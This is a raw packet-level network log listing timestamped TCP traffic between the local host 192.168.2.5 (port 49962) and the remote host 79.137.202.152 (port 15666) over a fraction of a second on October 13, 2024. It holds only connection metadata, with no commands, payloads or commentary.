Oct 13, 2024 01:40:45.333411932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333467960 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333472967 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333492041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333518982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333530903 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333537102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333587885 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333599091 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333642006 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333666086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333726883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333749056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333771944 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333796978 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333821058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333834887 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333849907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333868980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333872080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333897114 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333914042 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333980083 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334033966 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334050894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334136963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334176064 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334177017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334201097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334229946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334285021 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334341049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334367990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334381104 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334403038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334408998 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334428072 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334456921 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334464073 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334503889 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334518909 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334528923 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334553003 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334583998 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334640980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334664106 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334702969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334717035 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.334743977 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.334801912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335048914 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335128069 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335182905 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335407972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335431099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335455894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335494995 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335519075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335556030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335578918 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335614920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335628986 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335710049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335766077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335845947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335869074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335901022 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335907936 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335917950 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335931063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.335972071 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.335984945 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.336019039 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.336072922 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.336235046 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.336294889 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.336308956 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.336379051 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.336483002 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.336550951 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.337742090 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.337805033 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.337826014 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.337877989 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.337919950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.337933064 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.337979078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338005066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338048935 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338056087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338099003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338102102 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338150024 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338170052 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338222027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338259935 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338315010 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338373899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338427067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338525057 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338574886 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338624954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338677883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338707924 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338759899 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338861942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.338912964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.338962078 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339015007 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339056015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339108944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339117050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339129925 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339152098 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339164972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339169979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339188099 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339206934 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339272022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339284897 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339327097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339329958 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339376926 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339493036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339546919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339624882 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339646101 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339678049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339699030 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339710951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339742899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339760065 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339782953 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339817047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339850903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339862108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.339865923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339891911 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339910984 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.339994907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340018988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340030909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340045929 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340045929 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340073109 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340087891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340198994 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340213060 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340224981 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340255022 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340262890 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340271950 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340279102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340302944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340327024 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340487003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340542078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340553045 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340584040 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340600967 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340620995 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340641022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340692043 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340728045 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340778112 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340790033 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340838909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340842009 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340869904 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.340881109 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340929985 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.340987921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341001034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341042995 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341044903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341068029 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341094017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341106892 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341214895 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341264963 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341305017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341326952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341340065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341357946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341372013 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341377974 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341401100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341423035 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341460943 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341516972 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341546059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341557980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341569901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341583967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341593027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341618061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341640949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341711044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341761112 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.341789961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341803074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.341849089 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.342750072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.342798948 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.342830896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.342860937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.342881918 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.342900038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.342916965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.342964888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343034029 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343048096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343059063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343080997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343086958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343094110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343105078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343148947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343161106 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343216896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343319893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343368053 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343457937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343508005 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343559980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343590021 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343610048 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343630075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343792915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.343842030 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.343954086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344007969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344028950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344068050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344079018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344106913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344116926 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344166040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344203949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344254017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344321966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344333887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344362020 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344377041 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344402075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344425917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344450951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344480991 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344492912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344541073 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344577074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344588995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344589949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344615936 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344640970 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344739914 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344789982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344796896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344850063 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.344881058 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.344929934 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345040083 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345053911 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345066071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345077038 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345094919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345119953 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345139027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345141888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345156908 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345168114 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345194101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345212936 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345247030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345262051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345273972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345309973 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345326900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345417023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345429897 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345453024 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345472097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345490932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345495939 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345549107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345577955 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345601082 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345626116 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345647097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345685005 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345732927 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345733881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345788956 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345820904 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345844984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345870018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345890045 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345921993 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345944881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345972061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.345982075 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.345985889 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346025944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346087933 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346101046 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346112967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346182108 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346225977 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346272945 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346343040 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346394062 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346400976 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346443892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346452951 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346503973 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346573114 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346595049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346627951 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346640110 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346741915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346796036 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.346839905 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.346894979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.347831011 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.347889900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.348177910 CEST	15666	49962	79.137.202.152	192.168.2.5
